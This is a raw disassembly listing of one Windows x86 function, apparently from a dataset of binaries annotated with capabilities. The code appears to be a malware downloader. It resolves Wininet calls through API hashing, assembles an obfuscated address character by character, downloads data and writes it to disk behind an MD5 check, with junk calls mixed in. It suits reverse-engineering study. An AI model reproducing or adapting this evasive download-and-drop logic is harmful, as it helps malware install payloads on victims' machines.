Function at 0x40a810
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42b0fb
mov eax, dword fs:[0]
push eax
mov eax, 0x193c
call fcn.0041a7c0
mov eax, dword [0x434a20]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x924], 0
push 0x42c765
lea ecx, [ebp - 0x920]
call fcn.0040ecd0
mov dword [ebp - 4], 0
push str.GO_69obpPwg_B
push 0x9a
push 0x6a
push 0xb4
call fcn.00404a20
add esp, 0x10
push 0x800
push 0
lea eax, [ebp - 0x91c]
push eax
call fcn.004193c0
add esp, 0xc
push 0x104
push 0
push 0x436910
call fcn.004193c0
add esp, 0xc
push 0x104
push 0
lea ecx, [ebp - 0x11c]
push ecx
call fcn.004193c0
add esp, 0xc
push 0x42caf0
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cbdc
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cbdc
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cbe8
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42ca80
lea ecx, [ebp - 0x920]
call fcn.0040e680
push str._:y_
lea ecx, [ebp - 0x920]
call fcn.0040e680
push str._:y_
lea ecx, [ebp - 0x920]
call fcn.0040e680
push str.bBDMZnPxJxPTSHXJq_
push 0x11
push 0xb9
call fcn.00407860
add esp, 0xc
push 0x42cb60
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cbc8
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cbcc
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cc10
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cbc4
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cbdc
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cb80
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cc14
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cbc4
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cc10
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cbdc
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cb84
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cb88
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cbd8
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42d454
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cab8
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cbe8
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cc14
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cb60
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cb88
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cbc0
lea ecx, [ebp - 0x920]
call fcn.0040e680
push str._:y_
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cb0c
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cbe8
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cbe4
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cc14
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cbe8
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42caf0
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cbe8
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42d2e0
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cb84
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cbdc
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cbe4
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cbe0
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cbdc
lea ecx, [ebp - 0x920]
call fcn.0040e680
push str.Q__:_uDj3fOlbRaAbG
call fcn.00402090
add esp, 4
push str.mnlif2rtadpUPG
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cab4
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42d42c
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cc10
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42d428
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cbe4
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42d43c
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cb60
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cab4
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42d430
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42d434
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cbd4
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cb60
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cbd0
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42d430
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42d430
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cbe4
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42d434
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42d410
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cc10
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42d42c
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42d438
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42d43c
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cbd0
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cb60
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42d43c
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cbe4
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42d438
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42d42c
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cbe4
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cb60
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42d440
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42d434
lea ecx, [ebp - 0x920]
call fcn.0040e680
push str.57809631
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cbe0
lea ecx, [ebp - 0x920]
call fcn.0040e680
push str.UZd__Cho9wNmJ_h1c
push 0x67
push 0x5d
push 0xbd
call fcn.00408010
add esp, 0x10
push 0x42cbe0
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cc10
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42d43c
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42d42c
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cab4
lea ecx, [ebp - 0x920]
call fcn.0040e680
push str.57809631
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42d428
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cab4
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cbe0
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cbd0
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42d430
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cbd0
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42d434
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cbd0
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42d428
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cbe0
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42d43c
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42d43c
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42d434
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cbe0
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cbd4
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42d43c
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42d410
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42d438
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cb60
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cb60
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cab4
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cb60
lea ecx, [ebp - 0x920]
call fcn.0040e680
push str.h0i_LI9j8_T___YG
push 0xbf
call fcn.00403120
add esp, 8
push 0x42cb60
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cc10
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42d43c
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42d410
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cbd4
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42d440
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42d43c
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cbe0
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cb60
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42d440
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42d428
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cbd0
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cc10
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cbe0
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cbe4
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42d440
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42d434
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cab4
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cbe4
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42d438
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42d440
lea ecx, [ebp - 0x920]
call fcn.0040e680
push str.57809631
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42d410
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42d430
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cbe4
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cb60
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cbe0
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cbe4
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cbd0
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42d434
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42d430
lea ecx, [ebp - 0x920]
call fcn.0040e680
push str.57809631
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42d440
lea ecx, [ebp - 0x920]
call fcn.0040e680
push 0x42cbd4
lea ecx, [ebp - 0x920]
call fcn.0040e680
push str.YaNwXqy_7JRj8Q6HNBk
call fcn.00405380
add esp, 4
lea ecx, [ebp - 0x920]
call fcn.0040e800
push eax
lea edx, [ebp - 0x91c]
push edx
call fcn.0041a680
add esp, 8
lea eax, [ebp - 0x920]
push eax
lea ecx, [ebp - 0x91c]
push ecx
lea edx, [ebp - 0x1940]
push edx
call fcn.00408fe0
add esp, 0xc
mov dword [ebp - 0x1948], eax
mov eax, dword [ebp - 0x1948]
mov ecx, dword [eax]
push ecx
push 0x42d3d4
lea edx, [ebp - 0x11c]
push edx
call fcn.0041a815
add esp, 0xc
lea ecx, [ebp - 0x1940]
call fcn.0040ed50
push 0x42c765
lea eax, [ebp - 0x11c]
push eax
push 2
push 0x42c560
push 0x4345a47b
call fcn.004025a0
add esp, 0x14
test eax, eax
je 0x40b4db
lea ecx, [ebp - 0x11c]
push ecx
push 0x436350
push str._s_s
push 0x436910
call fcn.0041a815
add esp, 0x10
push 0
push 0
push 0
push 0
mov edx, dword [0x436e28]
push edx
push 5
push str.Wininet.dll
push 0x247f1858
call fcn.004025a0
add esp, 0x20
mov dword [ebp - 0x928], eax
cmp dword [ebp - 0x928], 0
je 0x40b4db
push 0
push 0x4000000
push 0
push 0
mov eax, dword [ebp - 0x920]
push eax
mov ecx, dword [ebp - 0x928]
push ecx
push 6
push str.Wininet.dll
push 0xf196ca57
call fcn.004025a0
add esp, 0x24
mov dword [ebp - 0x92c], eax
push str.eObVCTdxxJM_iwHQYJw
push 0x9c
push 0x17
push 0x58
call fcn.00404a20
add esp, 0x10
cmp dword [ebp - 0x92c], 0
je 0x40b4c0
push 0x436910
push 1
push str.Shlwapi.dll
push 0x48c838b4
call fcn.004025a0
add esp, 0x10
test eax, eax
je 0x40b32d
push 0x436910
push 1
push 0x42c560
push 0x210b82b2
call fcn.004025a0
add esp, 0x10
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push 0x436910
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x930], eax
cmp dword [ebp - 0x930], 0xffffffff
je 0x40b498
mov dword [ebp - 0x934], 0
mov dword [ebp - 0x93c], 0
push str.D59qa__XURa_XLJnQW
push str.IXzhAQS67_2Ohm_
call fcn.00401260
add esp, 8
lea edx, [ebp - 0x93c]
push edx
push 0x1000
lea eax, [ebp - 0x193c]
push eax
mov ecx, dword [ebp - 0x92c]
push ecx
push 4
push str.Wininet.dll
push 0xa524780b
call fcn.004025a0
add esp, 0x1c
mov dword [ebp - 0x934], eax
cmp dword [ebp - 0x934], 0
je 0x40b43c
cmp dword [ebp - 0x93c], 0
jbe 0x40b43c
push 0
lea edx, [ebp - 0x938]
push edx
mov eax, dword [ebp - 0x93c]
push eax
lea ecx, [ebp - 0x193c]
push ecx
mov edx, dword [ebp - 0x930]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [ebp - 0x93c]
push eax
push 0x1000
lea ecx, [ebp - 0x193c]
push ecx
mov edx, dword [ebp - 0x92c]
push edx
push 4
push str.Wininet.dll
push 0xa524780b
call fcn.004025a0
add esp, 0x1c
mov dword [ebp - 0x934], eax
push str.7zA__18uED
push 0xe7
push 0xff
push 0x21
call fcn.00404a20
add esp, 0x10
jmp 0x40b3b4
mov eax, dword [ebp - 0x930]
push eax
push 1
push 0x42c560
push 0x1e7c70d5
call fcn.004025a0
add esp, 0x10
push 0x436910
call fcn.0040a680
add esp, 4
test eax, eax
je 0x40b486
push str.md5_check_main_ok
push 0x4368e4
call fcn.0040dd00
add esp, 8
mov dword [ebp - 0x924], 1
jmp 0x40b498
push str.md5_check_main_error
push 0x4368e4
call fcn.0040dd00
add esp, 8
mov ecx, dword [ebp - 0x92c]
push ecx
push 1
push str.Wininet.dll
push 0x565c89f7
call fcn.004025a0
add esp, 0x10
push str.Okcw__ellh_rp_P3A
call fcn.00402e50
add esp, 4
mov edx, dword [ebp - 0x928]
push edx
push 1
push str.Wininet.dll
push 0x565c89f7
call fcn.004025a0
add esp, 0x10
mov eax, dword [ebp - 0x924]
mov dword [ebp - 0x1944], eax
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x920]
call fcn.0040ed50
mov eax, dword [ebp - 0x1944]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041943a
mov esp, ebp
pop ebp
ret